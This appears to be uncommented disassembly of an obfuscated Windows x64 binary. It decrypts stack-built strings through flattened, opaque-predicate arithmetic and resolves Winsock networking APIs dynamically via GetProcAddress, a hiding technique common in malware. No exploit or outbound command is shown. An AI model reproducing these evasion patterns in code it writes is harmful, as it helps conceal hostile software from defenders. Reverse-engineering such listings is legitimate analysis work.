mov byte [rbp + 0x5b], 0xaa
mov byte [rbp + 0x5c], 0xf9
mov byte [rbp + 0x5d], 0xa9
mov byte [rbp + 0x5e], 0xf7
mov byte [rbp + 0x5f], gethostname
xor eax, eax
mov dword [rbp + 0x60], eax
mov byte [rbp + 0x64], al
movabs rsi, 0x5431489cfff91b5
movabs r14, 0x2f5bb8d84ffc1f5d
movabs r12, 0xfc93d9d6ffeb51f
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x15
jae 0x140065a5d
movzx r10d, byte [rbp + r11 + 0x50]
mov edx, r10d
cmp rbx, r11
ja 0x140065a54
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140064f93
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0xd
jmp 0x140064fcd
je 0x1400659eb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400659c0
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140065982
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140065961
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006591d
movzx r9d, r11b
cmp r8, r11
ja 0x140065a4b
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140064ffe
lea ecx, [r9 - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x11
jmp 0x140065040
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140065905
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400658e2
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400658c5
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140065845
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140065819
nop
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x1400655ba
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006559f
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140065579
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140065556
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14006553b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006551b
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400654fb
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400654dc
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400654bc
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006548d
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140065050
lea rbx, [r8 + 0x10]
lea r8, [rbx + 8]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140065a2e
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140065a11
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006523d
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140065222
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140065207
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140065441
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400653f2
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400653b3
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006538e
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140065050
lea rbx, [r8 + 6]
lea r8, [rbx + 3]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140065362
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140065345
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006532a
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006530a
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400652e7
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400652c8
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400652a2
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140065279
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14006525a
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140065050
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x64]
jmp 0x140065050
lea ecx, [r9 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
jmp 0x140065040
lea ecx, [r9 - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xb
jmp 0x140064fd1
add r9b, 0x73
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x25
jmp 0x140064f67
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x140065937
add r9b, 0x5e
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140064f54
sub r9b, 0xc
movzx eax, r10b
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140064f54
lea edx, [r9 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006599c
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x1400659d2
sub r9b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400659d2
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x14006585b
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
jmp 0x140065884
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140064f54
sub r9b, 0x11
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x77
mov byte [rbp + r11 + 0x50], dil
inc r11
jmp 0x140064f54
lea ecx, [r9 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
cmp r8, 0x80
jb 0x1400653a6
lea ecx, [r9 + 0x1e]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_socket
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140065937
lea ecx, [r9 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x43
cmp rbx, 0x1000
jae 0x1400657e2
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x140065755
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400653c9
lea ecx, [r9 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
lea rax, [rbx + r8]
cmp rax, 9
je 0x140065800
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x1400656bb
lea ecx, [r9 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
jmp 0x140065408
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140064f54
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065884
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006585b
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400659d2
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
add rbx, r8
jmp 0x1400659d2
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x14006599c
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
dec r11
inc r11
jmp 0x140064f54
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
inc r8
dec r11
inc r11
jmp 0x140064f54
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
jmp 0x140065937
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x1400655de
lea ecx, [r9 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xd
jmp 0x140065457
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140065616
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140064f54
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006563e
lea edx, [r9 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006585b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140065667
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
add rbx, r8
jmp 0x1400659d2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140065693
add r9b, 0x2e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x42
dec r11
inc r11
jmp 0x140064f54
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140065457
lea ecx, [r9 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x140065937
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400656df
lea ecx, [r9 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
jmp 0x140065937
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006570b
add r9b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x67
dec r11
inc r11
jmp 0x140064f54
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006572f
lea ecx, [r9 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
jmp 0x14006599c
cmp rbx, rcx
jne 0x140065408
sub r9b, 0x63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4b
jmp 0x1400659d2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006578d
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140064f54
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400657b6
sub r9b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065884
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400653c9
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065937
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x24
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006599c
lea edx, [r9 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006585b
sub r9b, 0x6d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 5
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140064f54
lea ecx, [r9 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
sub r9b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x6f
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x50], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140064f54
add r9b, 0x55
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x53
jmp 0x1400659d2
add r9b, 0x17
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x5f
dec r11
inc r11
jmp 0x140064f54
lea ecx, [r9 + 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2b
jmp 0x140065937
movzx r9d, r11b
lea ecx, [r9 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
sub r9b, 0x2d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x3b
add r10b, r9b
mov byte [rbp + r11 + 0x50], r10b
inc r8
dec r11
inc r11
jmp 0x140064f54
lea ecx, [r11 - 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3d
dec r11
inc r11
jmp 0x140064f54
movzx r9d, r11b
lea ecx, [r9 + 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x57
add r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x55
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x50], r9b
add rbx, r8
jmp 0x1400659d2
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x75
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140064f54
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x27
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140064f54
add r9b, 9
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3f
jmp 0x140064f51
sub r9b, 0x61
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x59
jmp 0x140064f41
lea rdx, [rbp + 0x175e5ec]
jmp 0x140065a61
lea rdx, [rbp + 0x7577a1]
jmp 0x140065a61
lea rdx, [rbp + 0x50]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
mov byte [rbp + 0x70], 0xc3
mov byte [rbp + 0x71], 0xf0
mov byte [rbp + 0x72], 0xe6
mov byte [rbp + 0x73], 0xc0
mov byte [rbp + 0x74], 0xf1
mov byte [rbp + 0x75], 0xfb
mov byte [rbp + 0x76], 0xfa
mov byte [rbp + 0x77], 0xf4
mov byte [rbp + 0x78], 0xef
mov byte [rbp + 0x79], 0xd1
mov byte [rbp + 0x7a], 0xf1
mov byte [rbp + 0x7b], 0xf1
mov byte [rbp + 0x7c], 0xfb
mov byte [rbp + 0x7d], 0x20
mov byte [rbp + 0x7e], 0x5e
xorps xmm0, xmm0
movups xmmword [rbp + 0x7f], xmm0
movabs r14, 0xbe698550570b1c52
movabs r12, 0xb1b5afd30f63fee2
movabs r13, 0x3b3c8ff1052154f6
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x1f
jae 0x1400665c1
movzx r10d, byte [rbp + r11 + 0x70]
mov esi, r10d
cmp rbx, r11
ja 0x1400665b8
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140065b32
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x3e
jmp 0x140065b5f
je 0x140066546
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400664e8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400664ba
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006646f
movzx r9d, r11b
cmp r8, r11
ja 0x1400665af
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140065b8d
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x140065bd0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140066464
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006643e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006641b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400663fb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400663b5
nop
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140066101
nop dword [rax]
lea rcx, [r8 + 0x400]
cmp rbx, rcx
je 0x1400660f3
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400660cd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400660a7
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006608c
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006607e
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140066061
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140066042
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140066025
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140065ff6
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140065be0
mov rbx, rcx
lea r8, [rcx + 0x64]
lea rcx, [r8 + 0x1000]
cmp rbx, rcx
jb 0x14006658f
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140066572
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140065dd4
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140065db9
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140065d9a
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140065fb1
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140065f61
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140065f27
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140065eff
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140065be0
mov rbx, rcx
lea r8, [rcx + 0x2a]
lea rcx, [r8 + 5]
cmp rbx, rcx
ja 0x140065ed0
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140065eb3
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140065e94
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140065e77
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140065e69
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140065e4e
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140065e28
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140065e02
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140065df4
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140065be0
mov rbx, rcx
lea r8, [rcx + 0x10]
jmp 0x140065be0
lea edx, [r9 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065bd0
lea ecx, [r9 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
jmp 0x140065b63
add r9b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140065b06
lea edx, [r9 - 0x30]
mov ecx, 0x28
jmp 0x14006647c
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
inc r8
dec r11
inc r11
jmp 0x140065af3
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140065af3
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x140066375
add r9b, 0x40
mov ecx, 0x20
jmp 0x140066424
sub r9b, 0x64
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x44
jmp 0x1400664cf
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400663cb
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
jmp 0x140066509
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140065af3
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x70], dil
inc r11
jmp 0x140065af3
lea ecx, [r9 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
cmp r8, 0x7a
jb 0x140065f1a
lea ecx, [r9 - 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x68]
jmp 0x14006648d
lea edx, [r9 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x28
jae 0x140066358
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x1400662a9
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140065f3d
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
lea rax, [rbx + r8]
cmp rax, 2
je 0x14006639c
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x1400661fa
lea edx, [r9 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
jmp 0x140065f70
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140065af3
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140066509
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400663cb
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x1400664cf
sub r9b, 0x34
mov ecx, gethostname
jmp 0x140066424
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x140066375
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140065af3
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x140065af3
lea edx, [r9 + 0x3c]
mov ecx, 0x2e
jmp 0x14006647c
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x140066125
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140065fc7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006615a
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140065af3
cmp rbx, rcx
jne 0x14006617f
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140066509
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400661a8
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
add rbx, r8
jmp 0x1400664cf
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400661ca
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14006636f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140065fc7
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
dec r11
inc r11
jmp 0x140065af3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006621e
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x14006648d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066247
sub r9b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
add rbx, r8
jmp 0x1400664cf
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140066270
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400664cf
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140065f7b
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140065af3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400662de
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140065af3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066307
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140066509
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066330
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400664cf
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140065f3d
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14006648d
lea edx, [r9 + 0x50]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x30
add dil, dl
add dil, r10b
sub r9b, 0x5e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x6e
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x70], r10b
add rbx, r8
jmp 0x1400664cf
